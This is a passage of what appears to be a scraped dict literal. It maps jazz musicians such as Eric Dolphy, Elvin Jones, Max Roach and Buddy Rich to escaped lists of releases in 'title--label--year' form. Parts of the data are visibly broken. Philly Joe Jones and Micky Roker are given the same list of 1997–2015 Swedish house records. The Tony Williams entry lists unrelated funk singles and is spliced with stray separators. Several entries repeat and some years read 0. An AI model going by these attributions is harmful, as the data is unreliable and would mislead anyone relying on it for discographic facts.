Jazz--1961','\\\nScreamin\\' The Blues--New Jazz--1961','\\\nNewport Rebels--Candid--1961','\\\nCaribé--Prestige--1961','\\\nThe Blues And The Abstract Truth #2--Impulse!--1961','\\\nBlues And The Abstract Truth--Impulse!--1961','\\\nStraight Ahead--Prestige--1961','\\\nAt The Five Spot, Volume 1.--Prestige--1961','\\\nWhere?--New Jazz--1962','\\\nThe Quest--New Jazz--1962','\\\nIn Europe--Debut Records (3)--1962','\\\nFar Cry--New Jazz--1962','\\\nAt The Five Spot Volume 2--Prestige--1963','\\\nConversations--FM (6)--1963','\\\nLast Date--Fontana--1964','\\\nOutward Bound--New Jazz--1960','\\\nOut To Lunch!--Blue Note--1964','\\\nIn Europe, Vol. 1--Prestige--1964','\\\nIn Europe, Vol. 2--Prestige--1965','\\\nMemorial Album Recorded Live At The Five Spot--Prestige--1965','\\\nIn Europe / Volume 3.--Prestige--1965','\\\nHere And There--Prestige--1966','\\\nEric Dolphy--Everest Records Archive Of Folk & Jazz Music--1968','\\\nIron Man--Douglas--1968','\\\nThe Great Concert Of Eric Dolphy--Prestige--1974','\\\nPresents Charles Mingus--Candid--1960','\\\nTown Hall Concert--Jazz Workshop--1971','\\\nThe Candid Recordings--Barnaby Records--1972','\\\nEric Dolphy--Prestige--1972','\\\nFree Jazz--Atlantic--1961','\\\nPony\\'s Express--Epic--1962','\\\nCopenhagen Concert--Prestige--1973','\\\nMagic--Prestige--1975','\\\nImages--Prestige--1976','\\\nBlack California (The Savoy Sessions)--Savoy Records--1976','\\\nHooray For John Coltrane--Session Disc--0','\\\nChico Hamilton--Warner Bros. Records--1976','\\\nJitterbug Waltz--Douglas--1976','\\\nStatus--Prestige--1977','\\\nFire Waltz--Prestige--1978','\\\nBerlin Concerts--Enja Records--0','\\\nMingus In Europe Volume II--Enja Records--1981'),'\\\nRussell Procope':('\\\nThe Persuasive Sax Of Russ Procope--Dot Records--1956','\\\n12th Street Rag / Ain\\'t Cha Comin\\' Home--no label--1940','\\\nRoyal Garden Blues / Blue Skies--Vocalion (2)--1939','\\\nBig Wig In The Wigwam / Stand By! For Further Announcements--Victor--1939','\\\nJumpin\\' In The Pump Room / Temptation--Okeh--1940','\\\nImpromptu / Little Brown Jug--Vocalion (2)--1940','\\\nPut Yourself In My Place, Baby / The Wildest Gal In Town--Columbia--1947','\\\nDuke Ellington Plays The Blues--RCA Victor--1947','\\\nWhat Did You Do To Me / The Code Song--King Records (3)--1948','\\\nDon\\'t Be So Mean To Baby (Cause Baby\\'s So Good To You) / It\\'s Mad, Mad, Mad!--Columbia--1948','\\\nDuke Ellington\\'s Liberian Suite--Columbia--1949','\\\nHarlem Jazz 1930--Brunswick--1950','\\\nEllington Uptown--Columbia--1951','\\\nJohn Kirby And His Orchestra--Columbia--1951','\\\nMasterpieces By Ellington--Columbia Masterworks--1951','\\\nPerdido / Take The A Train--Columbia--1952','\\\nSeattle Concert--RCA Victor--1954','\\\nEllington \\'55 (Part 1)--Capitol Records--1955','\\\nJazz For People Who Hate Jazz--RCA Victor--1954','\\\nEllington \\'55--Capitol Records--1955','\\\nEllington Showcase--Capitol Records--1956','\\\nBlue Rose--Columbia--1956','\\\nThe Duke At Newport--Philips--1956','\\\nFlow Gently, Sweet Rhythm--Jazztone (2)--0','\\\nDuke Ellington Presents...--Bethlehem Records--1956'),'\\\nConnie Kay':('\\\nPure Desmond--CTI Records--1975','\\\nFirst Place Again Playboy--Warner Bros. Records--1960','\\\nLos Grandes Del Jazz 5--Sarpe--1980','\\\nEuropean Windows--RCA Victor--1958','\\\nTenderly / New D. B. Blues--Mercury--1953','\\\nI Confess / All Righty Oh Sweetie--Atlantic--1954','\\\nVol. 1--Metronome--1955','\\\nConcorde--Prestige--1955','\\\nJazz Concert West Coast (Volume 1)--Savoy Records--1955','\\\nPresents A Concert Of Contemporary Music--Norgran Records--0','\\\nMilt Jackson Quartet--Prestige--1955','\\\nChris Connor--Atlantic--1956','\\\nFontessa--Atlantic--1956','\\\nBluesology / Woodyn You--Metronome--1957','\\\nLester\\'s Here--Norgran Records--1956','\\\nConcorde EP--Esquire--1956','\\\nPresents A Concert Of Contemporary Music--Norgran Records--1956','\\\nThe Modern Jazz Quartet At Music Inn--Atlantic--1956','\\\nI\\'ll Remember April / Gershwin Medley--Metronome--1956','\\\nAfternoon In Paris--Versailles (2)--1957','\\\nAt The Opera House--Verve Records--1957','\\\nThe John Lewis Piano--Atlantic--1957','\\\nThe Happy Cats--Vogue Coral--1957','\\\nWest Coast Jazz Concert--Regent--1957','\\\nFontessa--Versailles (2)--1957','\\\nThe Modern Jazz Quartet--Atlantic--1957','\\\nPlenty, Plenty Soul--Atlantic--1957','\\\nPiano A-la-mode--Jubilee--1957','\\\nLester Young--Norgran Records--1955','\\\nThe Modern Jazz Quartet Plays One Never Knows (Original Film Score For “No Sun In Venice”)--Atlantic--1958'),'\\\nElvin Jones':('\\\nOlio--Prestige--1957','\\\nPaul Chambers Quintet--Blue Note--1958','\\\nMotor City Scene--United Artists Records--1959','\\\nGretsch Drum Night At Birdland--Roulette--1960','\\\nGretsch Drum Night At Birdland Vol. 2--Roulette--1961','\\\nElvin!--Riverside Records--1962','\\\nHere\\'s Love--Argo (6)--1963','\\\nConflict--Contemporary Records--1963','\\\nTogether!--Atlantic--1964','\\\nAnd Then Again--Atlantic--1965','\\\nRip, Rig & Panic--Limelight--1965','\\\nDear John C.--Impulse!--1965','\\\nJazz In Concert At The Village Gate--RCA Victor--1966','\\\nMidnight Walk--Atlantic--1967','\\\nMidnight Walk--Atlantic--1967','\\\nThe Ultimate--Blue Note--1968','\\\nFive Greatest Drummers--Atlantic--1968','\\\nHeavy Sounds--Impulse!--1968','\\\nPoly-Currents--Blue Note--1970','\\\nGenesis--Blue Note--1971','\\\nCoalition--Blue Note--1971','\\\nLive At The Lighthouse--Blue Note--1972','\\\nMerry Go Round--Blue Note--1972','\\\nPony\\'s Express--Epic--1962','\\\nThe Big Beat--Milestone (4)--1974','\\\nHollow Out--Philips--1973','\\\nMr. Jones--Blue Note--1973','\\\nDrum Night At Birdland--Vogue--1974','\\\nLive At The Village Vanguard--Enja Records--1974','\\\nThe Impulse Years--Impulse!--1974','\\\nThe Wide Point--MPS Records--1975','\\\nIs On The Mountain--PM--1975','\\\nNew Agenda--Vanguard--1975','\\\nLive--PM--1975','\\\nBallads--Impulse!--1963','\\\nTogether--Vanguard--1976','\\\nThe Main Force--Vanguard--1976','\\\nThe Prime Element--Blue Note--1976','\\\nSummit Meeting--Vanguard--1977','\\\nTime Capsule--Vanguard--1977','\\\nMoonflower--Trio Records--1978'),'\\\nTony Williams':('\\\nI Can\\'t Believe It\\'s Over / Blue Jade--Master Funk Records--1986','\\\nBehind Closed Doors--Polydor--1990\\:(Money) No Love / Love Money--Tania Music--1980','\\\nRe-Mixture--Champagne Records (5)--1981','\\\nCaveman Rock / Scratch The Rock--Master Funk Records--1983','\\\nMerry Christmas / Happy New Year--Master Funk Records--1983','\\\nStreet Sounds Edition 5--Street Sounds--1983','\\\nIt\\'s Over--Master Funk Records--1983','\\\nHave You Got The Time--Master Funk Records--1984','\\\nLove Money (\\'86)--Master Funk Records--1986','\\\nI Can\\'t Believe It\\'s Over / Blue Jade--Master Funk Records--1986','\\\nStreet Sounds Edition 16--Street Sounds--1986','\\\nShake Your Body Down--Master Funk Records--1988','\\\nAnother You / King Or The Fool--Redefinition Records--2012','\\\nRendezvous 4 2--RCA--1991\\:(Money) No Love / Love Money--Tania Music--1980','\\\nRe-Mixture--Champagne Records (5)--1981','\\\nThe Dance Decade 1973-1983--Street Sounds--1983','\\\nCaveman Rock / Scratch The Rock--Master Funk Records--1983','\\\nMerry Christmas / Happy New Year--Master Funk Records--1983','\\\nIt\\'s Over--Master Funk Records--1983','\\\nHave You Got The Time--Master Funk Records--1984','\\\nLove Money (\\'86)--Master Funk Records--1986','\\\nI Can\\'t Believe It\\'s Over / Blue Jade--Master Funk Records--1986','\\\nFantasy--Jam Packed--1987','\\\nShake Your Body Down--Master Funk Records--1988'),'\\\nJack DeJohnette':('\\\nThe DeJohnette Complex--Milestone (4)--1969','\\\nHave You Heard?--CBS/Sony--1970','\\\nSong For Wounded Knee--Flying Dutchman--1973','\\\nTime & Space--Trio Records--1973','\\\nJackeyboard--Trio Records--1973','\\\nRuta And Daitya--ECM Records--1973','\\\nSorcery--Prestige--1974','\\\nIn Concert, Volume 2--CTI Records--1974','\\\nGateway--ECM Records--1975','\\\nTimeless--ECM Records--1975','\\\nLuv--Whynot--1976','\\\nPictures--ECM Records--1977','\\\nTales Of Another--ECM Records--1977','\\\nNew Directions--ECM Records--1978','\\\nGateway 2--ECM Records--1978','\\\nBatik--ECM Records--1978','\\\nPercussion Profiles--Japo Records--1978','\\\nTerje Rypdal / Miroslav Vitous / Jack DeJohnette--ECM Records--1979','\\\nNew Directions In Europe--ECM Records--1980','\\\n80/81--ECM Records--1980','\\\nSpecial Edition--ECM Records--1980','\\\nTo Be Continued--ECM Records--1981','\\\nStandards, Vol. 1--ECM Records--1983','\\\nWerner Pirchner / Harry Pepl / Jack DeJohnette--ECM Records--1983','\\\nSpecial Identity--Antilles--1982','\\\nDouble, Double You--ECM Records--1984','\\\nThe All American Trio--Baystate--1984','\\\nChanges--ECM Records--1984','\\\nWorks--ECM Records--1985','\\\nStandards--Eagle Vision--2001','\\\nStandards, Vol. 2--ECM Records--1985','\\\nThe Jack DeJohnette Piano Album--Landmark Records (3)--1985','\\\nZebra--Pan Music (2)--1986','\\\nStandards Live--ECM Records--1986','\\\nIn Our Style--DIW--1986','\\\nThe Target--Storyville--1987','\\\nStandards II--PolyGram Music Video--1987','\\\nTribute To John Coltrane - Live Under The Sky--Columbia--1987','\\\nThis Is For You, John--Baystate--1984','\\\nTriplicate--ECM Records--1988','\\\nScene One--no label--1989','\\\nParallel Realities--MCA Records--1990','\\\nDeJohnette, Hancock, Holland, Metheny In Concert--Videoarts Japan, Inc--1991'),'\\\nRoy Haynes':('\\\nAmericans In Sweden Vol. 2 --Esquire--0','\\\nRoy Haynes Modern Group--Swing (3)--1955','\\\nIntroducing Nat Adderley--Wing Records--1955','\\\nJazz Abroad--EmArcy--1957','\\\nBird At St. Nick\\'s - Volume 1--Debut Records (3)--1957','\\\nWe Three--New Jazz--1959','\\\nThe Blues And The Abstract Truth #2--Impulse!--1961','\\\nBlues And The Abstract Truth--Impulse!--1961','\\\nReaching Fourth--Impulse!--1963','\\\nCymbalism--New Jazz--1963','\\\nCracklin\\'--New Jazz--1963','\\\nPeople--Pacific Jazz--1964','\\\nHip Ensemble--Mainstream Records--1971','\\\nSenyah--Mainstream Records--1972','\\\nBooty--Mainstream Records--1974','\\\nJazz A Confronto 29--Horo Records--1976','\\\nSugar Roy--Kitty Records--1976','\\\nThank You Thank You--Galaxy--1977','\\\nNew Departure--Trio Records--1978','\\\nLive Under The Sky--Galaxy--1979','\\\nVistalite--Galaxy--1979','\\\nGary Burton--Supraphon--1981','\\\nLive At The Jazz Showcase In Chicago Volume One--Enja Records--1981','\\\nMusic For Violin & Jazz Quartet--Jam (15)--1981','\\\nHow Deep/How High--Interplay Records--1980','\\\nNewport Jazz Festival 1972 Volume I--Accord (2)--1982','\\\nTrio Music--ECM Records--1982','\\\nDream--Eastworld--1984','\\\nTrio Music, Live In Europe--ECM Records--1986','\\\nTrue Or False--Free Lance--1986','\\\nSpring Is Here--CBS/Sony--1987','\\\nA Tribute To John Coltrane / Blues For Coltrane--Impulse!--1988','\\\nLive At The Jazz Showcase In Chicago Volume Two--Enja Records--1989','\\\nEncounters--ABC Records (3)--1990'),'\\\nPhilly Joe Jones':('\\\nStockholm By Night--Svek--1997','\\\nCity Of Islands--Svek--1998','\\\nPleasure--Svek--1998','\\\nMorgon Sol--Svek--1998','\\\nAutumn Leaves EP--Concrete Music (4)--2013','\\\nFusion Of Thoughts--Stockholm LTD--2013','\\\nSkargard--Templar (3)--2015','\\\nVårblommor--Tardis Records (2)--2015','\\\nLoves You All Night And Day--Raw Elements--1997','\\\nThe Big Bang Theory--Svek--1997','\\\nDiskophrenia Remixes--Svek--1998','\\\nLive At Robert Johnson--Live At Robert Johnson--2010','\\\nSun Trip - Fifth--Playdoe--1998'),'\\\nMax Roach':('\\\nBongo Bop / Embraceable You--Dial Records (3)--1948','\\\nIn Concert--Gene Norman Presents--1955','\\\nIn Concert--Gene Norman Presents--1955','\\\nSweet Clifford--Mercury Emarcy Jazz--1956','\\\nRollins Plays For Bird--Prestige--1956','\\\n+4--EmArcy--1957','\\\nBest Coast Jazz--Mercury--1956','\\\nJazz In 3/4 Time--EmArcy--1957','\\\nSaxophone Colossus--Metronome--1957','\\\nOpus De Bop--Savoy Records--1957','\\\nJazz At Massey Hall Volume 2--Debut Records (3)--0','\\\nMax Roach With The Boston Percussion Ensemble--Mercury--1958','\\\nJazz At Massey Hall Volume 4--Debut Records (3)--1958','\\\nDeeds, Not Words--Riverside Records--1958','\\\nDeeds, Not Words--Riverside Records--1958','\\\nNewport \\'58--Mercury--1959','\\\nJazz At Massey Hall Volume 1--Debut Records (3)--1958','\\\nBud--Roost--1958','\\\nDrummin\\' The Blues--Liberty--1958','\\\nJazz At Massey Hall Volume 3--Debut Records (3)--1958','\\\nBooker Little 4 & Max Roach--United Artists Records--1959','\\\nJazz At Massey Hall--Debut Records--1956','\\\nRich Versus Roach--Mercury--1959','\\\nAward-Winning Drummer--Time Records (3)--1960','\\\nWe Insist! Max Roach\\'s Freedom Now Suite--Candid--1960','\\\nNewport Rebels--Candid--1961','\\\nPercussion Bitter Sweet--Impulse!--1961','\\\nThe Modern Touch--Riverside Records--1958','\\\nMoney Jungle--United Artists Jazz--1962','\\\nThad Jones--Debut Records--1956','\\\nSonny Clark Trio--Time Records (3)--1960','\\\nThe Charles Mingus Quintet + Max Roach--Fantasy--1964','\\\nPlus 4--Prestige--1956','\\\nTaste Of Drums--Time Records (3)--1964','\\\nWith Strings--EmArcy--1955','\\\nStan The Man Turrentine--Time Records (3)--0','\\\nDrums Unlimited--Atlantic--1966','\\\nMembers, Don\\'t Git Weary--Atlantic--1968','\\\nFive Greatest Drummers--Atlantic--1968','\\\nEzz-thetic!--Prestige--1970','\\\nLift Every Voice And Sing--Atlantic--1971'),'\\\nKenny Clarke':('\\\nLady Be Good / Klook Returns--Dee Gee--1951','\\\nJazz Rhythm Records Music Minus One Alto Sax Vol 2--Music Minus One--1951','\\\nSchool Days / I\\'ll Get You Yet--Dee Gee--1951','\\\nMiles Davis Plays The Compositions Of Al Cohn--Prestige--1953','\\\nThe Modern Jazz Quartet--Prestige--1953','\\\nJazz Studio One--Brunswick--0','\\\nJazz Studio 1--Decca--1954','\\\nMilt Jackson With John Lewis, Percy Heath, Kenny Clarke, Lou Donaldson And The Thelonious Monk Quintet--Blue Note--1955','\\\nJazz- Young Blood--Savoy Records--1955','\\\nGigi Gryce · Thelonious Monk · Percy Heath · Art Blakey · Horace Silver · Art Farmer · Kenny Clarke · Cecil Payne · Jimmy Cleveland · Oscar Pettiford · Julius Watkins--Signal (3)--1955','\\\nBohemia After Dark--Savoy Records--1955','\\\nTelefunken Blues--Savoy Records--1955','\\\nFlutes & Reeds--Savoy Records--1955','\\\nOpus De Jazz--Savoy Records--1955','\\\nSpotlight On Percussion--VOX (6)--1955','\\\nVolume 2--Savoy Records--1955','\\\nOpus De Jazz--Savoy Records--1955','\\\nKenny Clarke & Ernie Wilkins--Savoy Records--1955','\\\nKlook\\'s Clique--Savoy Records--1956','\\\nJazzmen: Detroit--Savoy Records--1956','\\\nOpus In Swing--Savoy Records--1956','\\\nThe Jazz Message Of--Savoy Records--1956','\\\nThe Trio With Guests--Savoy Records--1956','\\\nNorth, South, East.....Wess--Savoy Records--1956','\\\nThe Trio--Savoy Records--1956','\\\nJazz Sur Seine--Philips--1958','\\\nJazz Olympus Series--Philips--1958','\\\nAu Club St. Germain Vol. 3--RCA--1959','\\\nThe Essen Jazz Festival All Stars--Debut Records (3)--1960','\\\nJazz Sound-Track (From The Schmidhauser -Film Production Mental Cruelty)--Decca--1960','\\\nJazz Pictures At An Exhibition--Philips--1961','\\\nInternacionalni Jazz Oktet Duška Gojkovića Sa Keni Klarkom--PGP RTB--1961','\\\nJazz At The Blue Note--Fontana--1961','\\\nThe Golden Eight--Blue Note--1961','\\\nThad Jones--Debut Records--1956'),'\\\nArt Blakey':('\\\nVol. 2--Blue Note--1954','\\\nSalute To Birdland--Mercury--1954','\\\nIntroducing Paul Bley--Debut Records--1954','\\\nMessage From Kenya / Nothing But The Soul--Blue Note--0','\\\nGigi Gryce · Thelonious Monk · Percy Heath · Art Blakey · Horace Silver · Art Farmer · Kenny Clarke · Cecil Payne · Jimmy Cleveland · Oscar Pettiford · Julius Watkins--Signal (3)--1955','\\\nBlakey--EmArcy--1955','\\\nSonny Rollins With The Modern Jazz Quartet--Prestige--1956','\\\nQuicksilver--Blue Note--1956','\\\nOrgy In Rhythm (Volume One)--Blue Note--1957','\\\nWe See--Metronome--1957','\\\nTrio And Solo--Riverside Records--1957','\\\nOrgy In Rhythm - Volume Two--Blue Note--1957','\\\nLocomotive--Metronome--1957','\\\nHoliday For Skins Vol. 2--Blue Note--1958','\\\nHoliday For Skins Vol. 1--Blue Note--1958','\\\nNostalgia (Fats Navarro Memorial No. 2)--Savoy Records--1958','\\\nSomethin\\' Else--Blue Note--1958','\\\nAre You Real / Just By Myself--Fontana--0','\\\nAt The Five Spot Cafe--Blue Note--1960','\\\nGretsch Drum Night At Birdland--Roulette--1960','\\\nSoul Time--Riverside Records--1960','\\\nArt Blakey\\'s Jazz Messengers With Thelonious Monk--Metronome--1958','\\\nBlakey In Paris--Epic--1961','\\\nGretsch Drum Night At Birdland Vol. 2--Roulette--1961','\\\nSelections From Golden Boy--Colpix Records--1963','\\\nAu Club St. Germain Vol. 2--RCA--1959','\\\nOlympia Concert--Fontana--1959','\\\nSoul Finger--Limelight--1965','\\\n\\'S Make It--Limelight--1965','\\\nArt Blakey\\'s Big Band--Bethlehem Records--1958','\\\nBack To Back--Fontana--1966','\\\nHold On, I\\'m Coming--Limelight--1966','\\\nHold On, I\\'m Coming--Limelight--1966','\\\nButtercorn Lady--Limelight--1966','\\\nThelonious Monk / Sonny Rollins--Prestige--1956','\\\nArt Blakey\\'s Jazz Messengers With Thelonious Monk--Atlantic--1958'),'\\\nPaul Motian':('\\\nWaltz For Debby--Riverside Records--1962','\\\nConception Vessel--ECM Records--1973','\\\nTurning Point--Improvising Artists Inc.--1975','\\\nTribute--ECM Records--1975','\\\nConspiracy--Owl Records (4)--1982','\\\nThe Ballad Of The Fallen--ECM Records--1983','\\\nThe Story Of Maryam--Soul Note--1984','\\\nSung Heroes--Sunnyside--1986','\\\nThe Paul Bley Quartet--ECM Records--1988','\\\nEtudes--Soul Note--1988','\\\nNotes--Soul Note--1988','\\\nMonk In Motian--JMT--1988','\\\nIn The Year Of The Dragon--JMT--1989','\\\nSegments--DIW--1989','\\\nPaul Motian On Broadway - Vol. 1--JMT--1989','\\\nPaul Motian On Broadway - Vol.2--JMT--1990','\\\nBill Evans--JMT--1990','\\\nMotian In Tokyo--JMT--1991','\\\nLive At The Village Vanguard--DIW--1991','\\\nPaul Motian On Broadway, Vol. III--JMT--1992','\\\nMemoirs--Soul Note--1992','\\\nPaul Motian And The Electric Bebop Band--JMT--1993','\\\nAt The Deer Head Inn--ECM Records--1994','\\\nThe Montreal Tapes--Verve Records--1994','\\\nReincarnation Of A Love Bird--JMT--1994','\\\nUntold Story--IDA Records--1994','\\\nPlay Kurt Weill--JMT--1995','\\\nAmber Skies--Palo Alto Jazz--1984','\\\nThe Montréal Tapes--Verve Records--1998','\\\nNothing Ever Was, Anyway. Music Of Annette Peacock--ECM Records--1997','\\\nThe Montréal Tapes--Verve Records--1998','\\\nThree Guys--ENJA Records--1999','\\\nNot Two, Not One--ECM Records--1999','\\\nFantasm - The Music Of Paul Motian--BMG France--2000','\\\nAmaryllis--ECM Records--2001','\\\nThe Mourning Of A Star--Atlantic--1971','\\\nBirth--Atlantic--1972'),'\\\nBilly Higgins':('\\\nFantasias For Guitar And Banjo--Vanguard--1963','\\\nEastern Rebellion--Timeless Records (3)--1976','\\\nThe Fabulous Paul Bley Quintet--America Records--1971','\\\nEastern Rebellion 2--Timeless Records (3)--1977','\\\nBreakthrough--Cobblestone--1972','\\\nSoweto--Red Record--1979','\\\nI Thought About You--Lee Lambert--1979','\\\nMirror, Mirror--MPS Records--1980','\\\nSomething Different--SteepleChase--1980','\\\nEastern Rebellion 3--Timeless Records (3)--1980','\\\nPresenting Red Mitchell--Contemporary Records--1957','\\\nThe Soldier--Timeless Records (3)--1981','\\\nLive At The Keystone Corner--Timeless Records (3)--1981','\\\nBobby Enriquez Plays Bossa Nova--GNP Crescendo--1984','\\\nEastern Rebellion 4--Timeless Records (3)--1984','\\\nRejoicing--ECM Records--1984','\\\nBluesville Time--Criss Cross Jazz--1985','\\\nWindSong--Ekapa--1985','\\\nMr. Billy Higgins--Riza Records--1985','\\\nLove Is The Thing--Red Record--1986','\\\nThe Trio 2--Red Record--1986','\\\nThe Trio 3--Red Record--1986','\\\nThe Trio 1--Red Record--1986','\\\nCedar Walton--Timeless Records (3)--1986','\\\nBridgework--Contemporary Records--1987','\\\nQuartet West--Verve Records--1987','\\\nFeelin\\' The Spirit--Blue Note--1963','\\\nUp Front--Timeless Records (3)--1987','\\\nInterface--Serious Productions--1989','\\\nSilence--Soul Note--1989','\\\nMy Funny Valentine--Bellaphon--1991','\\\nThe Essence--DMP--1991','\\\nFirst Song--Soul Note--1992','\\\nAcoustic Masters 1--Atlantic--1994','\\\nBlues For Pat (Live In San Francisco)--Jazz Door--1995','\\\nCedar\\'s Blues: Cedar Walton Quintet Live--Red Record--1985','\\\nWhich Way Is East--ECM Records--2004'),'\\\nBilly Cobham':('\\\nStratus (Part I)--Atlantic--1973','\\\nSpectrum--Atlantic--1973','\\\nMoon Germs--Atlantic--1974','\\\nCrosswinds--Atlantic--1974','\\\nTotal Eclipse--Atlantic--1974','\\\nCrosswind / Le Lis--Atlantic--1974','\\\nA Funky Thide Of Sings--Atlantic--1975','\\\nShabazz--Atlantic--1975','\\\nLife & Times--Atlantic--1976','\\\nMagic--Columbia--1977','\\\nAlivemutherforya--Columbia--1978','\\\nInner Conflicts--Atlantic--1978','\\\nSimplicity Of Expression - Depth Of Thought--Columbia--1978','\\\nFlic Ou Voyou (Bande Originale Du Film De Georges Lautner)--Cobra--1979','\\\nThe Best Of Billy Cobham--Atlantic--1979','\\\nB.C.--Columbia--1979','\\\nWhat Is Your Fantasy / Bring Up The House Lights--Columbia--1979','\\\nThe Best Of Billy Cobham--CBS--1980','\\\nWay Out West--Muse Records--1980','\\\nLive: Flight Time--Sandra Music Productions--1981','\\\nSmokin\\'--Elektra Musician--1983','\\\nWarning--GRP--1985','\\\nPowerplay--GRP--1986','\\\nTekno Mode--Ricordi International--1987','\\\nSame Ole Love--GRP--1987','\\\nPicture This--GRP--1987','\\\nBilly\\'s Best Hits--GRP--1988','\\\nCannes Jazz - Live At Midem--BHV (3)--1989','\\\nIncoming--K-Tel--1989','\\\nMagamusica--Innovative Communication--1991','\\\nFrank Nimsgern Featuring Chaka Khan & Billy Cobham--Lipstick Records (3)--1991','\\\nHurricane!--V.I.E.W. Video--1992','\\\nBy Design--Fnac Music--1992','\\\nLive At The Greek--Slamm Dunk--1994','\\\nThe Traveler--Fnac Music--1994','\\\nNordic--Eagle Records--1998'),'\\\nLouis Bellson':('\\\nGene Norman\\'s Just Jazz Volume 13--Modern Records (2)--1951','\\\nThe Just Jazz All Stars Featuring Louis Bellson--Capitol Records--1952','\\\nSkin Deep--Philips--1952','\\\nJourney Into Love--Norgran Records--1954','\\\nThe Exciting Mr. Bellson (And His Big Band)--Norgran Records--1954','\\\nThe Amazing Artistry Of Louis Bellson--Norgran Records--1954','\\\nBoogie Woogie Piano And Drums--Clef Records--1954','\\\nThe Tatum-Carter-Bellson Trio--Clef Records--1955','\\\nDrumology --RCA Victor--1955','\\\nThe Amazing Artistry Of Louis Bellson--Norgran Records--0','\\\nThe Tatum-Carter-Bellson Trio Album #2--Clef Records--1955','\\\nThe Hawk Talks--Norgran Records--1956','\\\nDrumorama!--Verve Records--1957','\\\nLouis Bellson--Norgran Records--1954','\\\nJazz Giants \\'58--Verve Records--1958','\\\nLouis Bellson At The Flamingo--Verve Records--1958','\\\nJazz Giants \\'59--Verve Records--1959','\\\nLouis Bellson Swings Jule Styne--Verve Records--1960','\\\nThe Brilliant Bellson Sound--Verve Records--1960','\\\nBasie In Sweden--Roulette--1962','\\\nHappy Sounds--Roulette--1962','\\\nBig Band Jazz From The Summit--Roulette--1962','\\\nThe Mighty Two--Roulette--1963','\\\nExplorations--Roulette--1964','\\\nThunderbird--Impulse!--1966','\\\nRepercussion--Columbia--1967','\\\nBreakthrough!--Project 3 Total Sound--1968','\\\nLouie In London--Pye Records--1970','\\\nAre You Ready For This!--Roost--0','\\\nBig Bands!--Onyx Records (3)--1972','\\\nConversations - A Drum Spectacular--Parlophone--1972','\\\nPearl Bailey And Others--Strand Records (2)--1962','\\\nThe Tatum Group Masterpieces Vol. 2--Pablo Records--1975','\\\nThe Drum Session--Philips--1975','\\\nThe Tatum Group Masterpieces, Vols. 1 y 2--Pablo Records--1975'),'\\\nBuddy Rich':('\\\nMonarch All Star Jazz Volume 1--Monarch (2)--1952','\\\nJam Session #5--Clef Records--1955','\\\nThe Swinging Buddy Rich--Norgran Records--1954','\\\nThe Swinging Buddy Rich--Norgran Records--1954','\\\nBuddy And Sweets--Norgran Records--1955','\\\nThe Swinging Buddy Rich--Norgran Records--1955','\\\nDrumology --RCA Victor--1955','\\\nSing And Swing With Buddy Rich--Norgran Records--1955','\\\nThe Lionel Hampton-Art Tatum-Buddy Rich Trio--Clef Records--1956','\\\nHi-Fi Drums--Capitol Records--1956','\\\nKrupa And Rich--Clef Records--1956','\\\nSing And Swing With Buddy Rich--Columbia--1956','\\\nBuddy Rich Sings Johnny Mercer--Verve Records--1956','\\\nBuddy Rich Just Sings--Verve Records--1957','\\\nBuddy Rich In Miami--Verve Records--1958','\\\nThe Voice Is Rich--Mercury--1959','\\\nHamp\\'s Big Four--Verve Records--1957','\\\nRich Versus Roach--Mercury--1959','\\\nThe Drum Battle - Gene Krupa And Buddy Rich At JATP--Verve Records--1960','\\\nLulu\\'s Back In Town--Argo (6)--1961','\\\nBurnin\\' Beat--Verve Records--1962','\\\nThe Wailing Buddy Rich--Norgran Records--0','\\\nSwingin\\' New Big Band--Pacific Jazz--1966','\\\nUptight (Everything\\'s Alright) / Sister Sadie--Pacific Jazz--1966','\\\nGiants 3--VSP--0','\\\nBuddy Rich At JATP--VSP--1966','\\\nThe Sounds Of \\'66--Reprise Records--1966','\\\nKicks!--Fontana--0','\\\nNorwegian Wood (This Bird Has Flown)--Pacific Jazz--1967','\\\nThe Driver--Emarcy--1967','\\\nRich À La Rakha--Liberty--1968','\\\nSuper Rich--Verve Records--1969','\\\nKeep The Customer Satisfied--Liberty--1970','\\\nThe Best Of Buddy Rich--World Pacific Jazz--1969','\\\nA Different Drummer--RCA Victor--1971','\\\nAre You Ready For This!--Roost--0'),'\\\nGrady Tate':('\\\nOrgan Grinder Swing--Verve Records--1965','\\\nThe Organ Grinder\\'s Swing--Verve Records--1965','\\\nWindmills Of My Mind--Skye Records--1968','\\\nOrganized Jazz--Coral--1968','\\\nAnd I Love Her--Skye Records--1969','\\\nNightwind--Skye Records--1969','\\\nFeeling Life--Skye Records--1969','\\\nSlaves--Skye Records--1969','\\\nBe Black Baby--Skye Records--1969','\\\nHooray--Skye Records--1969','\\\nAfter The Long Drive Home--Skye Records--1970','\\\nGiants--Perception Records (5)--1971','\\\nFreedom For The Stallion / I Wish I Could Walk Away--Janus Records--1973','\\\nMovin\\' Day--Janus Records--1974','\\\nBy Special Request--Buddah Records--1974','\\\nScreaming Mothers--Mainstream Records--1974','\\\nRecorded Live At Jimmy\\'s--RCA--1975','\\\nFuniculi Funicula --ABC Impulse!--1977','\\\nSongs For New Lovers--Stash Records Inc.--1978','\\\nDemoiselle--Not On Label--1979','\\\nOff The Top--Elektra Musician--1982','\\\nAin\\'t But A Few Of Us Left--Pablo Records--1982','\\\nThreesome--Soul Note--1986','\\\nSoftly I Swing--Red Baron--1992','\\\nJazz Meets The Symphony --EastWest--1993','\\\nSo Easy To Remember--Omega (19)--1993','\\\nMore Jazz Meets The Symphony--Atlantic Jazz--1994','\\\nWalkin\\'--Telarc Jazz--1995','\\\nSensitive To The Touch: The Music Of Harold Arlen--Groove Jams--1998','\\\nFourmost Return--Milestone (4)--2001','\\\nSings All Love--Village Records Inc.--2002','\\\nApres Un Reve--Kang & Music--2003','\\\nThe World Of Duke Ellington Vol.1--BHM Productions--2008','\\\nHear, O Israel - A Concert Service In Jazz--National Federation Of Temple Youth--1968'),'\\\nMicky Roker':('\\\nStockholm By Night--Svek--1997','\\\nCity Of Islands--Svek--1998','\\\nPleasure--Svek--1998','\\\nMorgon Sol--Svek--1998','\\\nAutumn Leaves EP--Concrete Music (4)--2013','\\\nFusion Of Thoughts--Stockholm LTD--2013','\\\nSkargard--Templar (3)--2015','\\\nVårblommor--Tardis Records (2)--2015','\\\nLoves You All Night And Day--Raw Elements--1997','\\\nThe Big Bang Theory--Svek--1997','\\\nDiskophrenia Remixes--Svek--1998','\\\nLive At Robert Johnson--Live At Robert Johnson--2010','\\\nSun Trip - Fifth--Playdoe--1998'),'\\\nEd Blackwell':('\\\nMu First Part--BYG Records--1969','\\\nOld And New Dreams--Black Saint--1977','\\\nJust Play (1976)--Quark Records & 